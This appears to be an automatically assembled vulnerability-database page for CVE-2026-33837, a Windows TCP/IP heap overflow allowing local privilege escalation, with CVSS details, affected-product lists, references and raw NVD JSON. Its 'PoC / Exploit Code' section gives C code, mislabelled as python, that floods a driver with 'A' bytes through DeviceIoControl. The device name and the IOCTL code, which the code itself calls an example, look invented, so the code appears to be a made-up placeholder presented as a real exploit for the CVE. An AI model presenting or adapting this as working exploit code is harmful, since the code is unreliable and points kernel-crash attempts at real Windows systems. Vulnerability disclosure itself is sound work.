CVE-2026-33837

Description

Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:arm64:* - VULNERABLE

Windows 10

Windows 11

Windows Server 2019

Windows Server 2022

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * Conceptual Proof of Concept for CVE-2026-33837
 * This code demonstrates the trigger mechanism for a local kernel buffer overflow.
 * Note: This is for educational analysis only.
 */

#include <windows.h>
#include <stdio.h>

#define VULN_DEVICE_NAME L"\\.\\TcpIpDevice"
#define VULN_IOCTL_CODE 0x00120000 // Example IOCTL code

int main() {
    HANDLE hDevice;
    BYTE buffer[0x1000];
    DWORD bytesReturned;

    // Initialize buffer with pattern (e.g., 'A's) to trigger overflow
    memset(buffer, 0x41, sizeof(buffer));

    printf("[+] Attempting to open device...\n");
    hDevice = CreateFileW(VULN_DEVICE_NAME,
                          GENERIC_READ | GENERIC_WRITE,
                          0,
                          NULL,
                          OPEN_EXISTING,
                          FILE_ATTRIBUTE_NORMAL,
                          NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open device. Error: %d\n", GetLastError());
        return 1;
    }

    printf("[+] Sending malicious IOCTL request...\n");
    // Send the buffer to the driver to trigger the heap overflow
    BOOL result = DeviceIoControl(hDevice,
                                  VULN_IOCTL_CODE,
                                  buffer,
                                  sizeof(buffer),
                                  NULL,
                                  0,
                                  &bytesReturned,
                                  NULL);

    if (!result) {
        printf("[-] DeviceIoControl failed. Error: %d\n", GetLastError());
    } else {
        printf("[+] IOCTL sent successfully. Check for BSOD or debugger hit.\n");
    }

    CloseHandle(hDevice);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33837
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33837
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33837/
[4] VulDB https://vuldb.com/cve/CVE-2026-33837
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33837

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33837", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:05.633", "lastModified": "2026-05-14T14:46:48.947", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.9140", "matchCriteriaId": "D48FE1A3-FD94-469C-87EA-AA7B4AAC6B86"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.9140", "matchCriteriaId": "027462CD-8FA3-4C9F-8778-5AB3F4CDB5B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8755", "matchCriteriaId": "94017187-8A34-41BB-A49E-0FA6986E8CB8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8755", "matchCriteriaId": "BB81D249-7566-44B7-914C-A3674CE87AFB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.19044.7291", "matchCriteriaId": "92E25E15-66FF-45E3-A044-88A7CFDEA9DF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19044.7291", "matchCriteriaId": "0D04D4AA-D1A5-45D4-A27A-F80D3F6171AF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.19044.7291", "matchCriteriaId": "12B4D343-5326-4CF2-913D-F642C34B458A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.19045.7291", "matchCriteriaId": "6BB3BCA4-519F-4BAB-B7C7-9E3BBCE5A6AB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19045.7291", "matchCriteriaId": "65466E7E-0BDC-4ECC-AE5F-2E4B8615D205"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.19045.7291", "matchCriteriaId": "A722684E-1073-4076-82AE-3235AA1C4C9F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.22631.7079", "matchCriteriaId": "D039A905-2FE4-4A10-85BF-175947E6A017"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.22631.7079", "matchCriteriaId": "4904DDBD-B183-4AA2-ABD6-47BAF1A28861"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26100.8390", "matchCriteriaId": "048AD3CD-DD62-4B62-9302-61779D998B4A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26100.8390", "matchCriteriaId": "3682F4DD-0870-4E39-B75E-649C89BB1E08"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26200.8390", "matchCriteriaId": "C2C93D38-DFD7-4DE1-95B8-6D73E4A545D6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26200.8390", "matchCriteriaId": "05EB89A0-2ADD-4B67-A644-41FE1DE69E4A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_26h1:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.28000.2113", "matchCriteriaId": "D45A5D2F-E058-4033-B184-BAE224FC1CEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_26h1:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.28000.2113", "matchCriteriaId": "5127F350-9271-4B74-84E0-D7E5D2D5640E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.9140", "matchCriteriaId": "71D026B8-B196-4369-9AB3- ... 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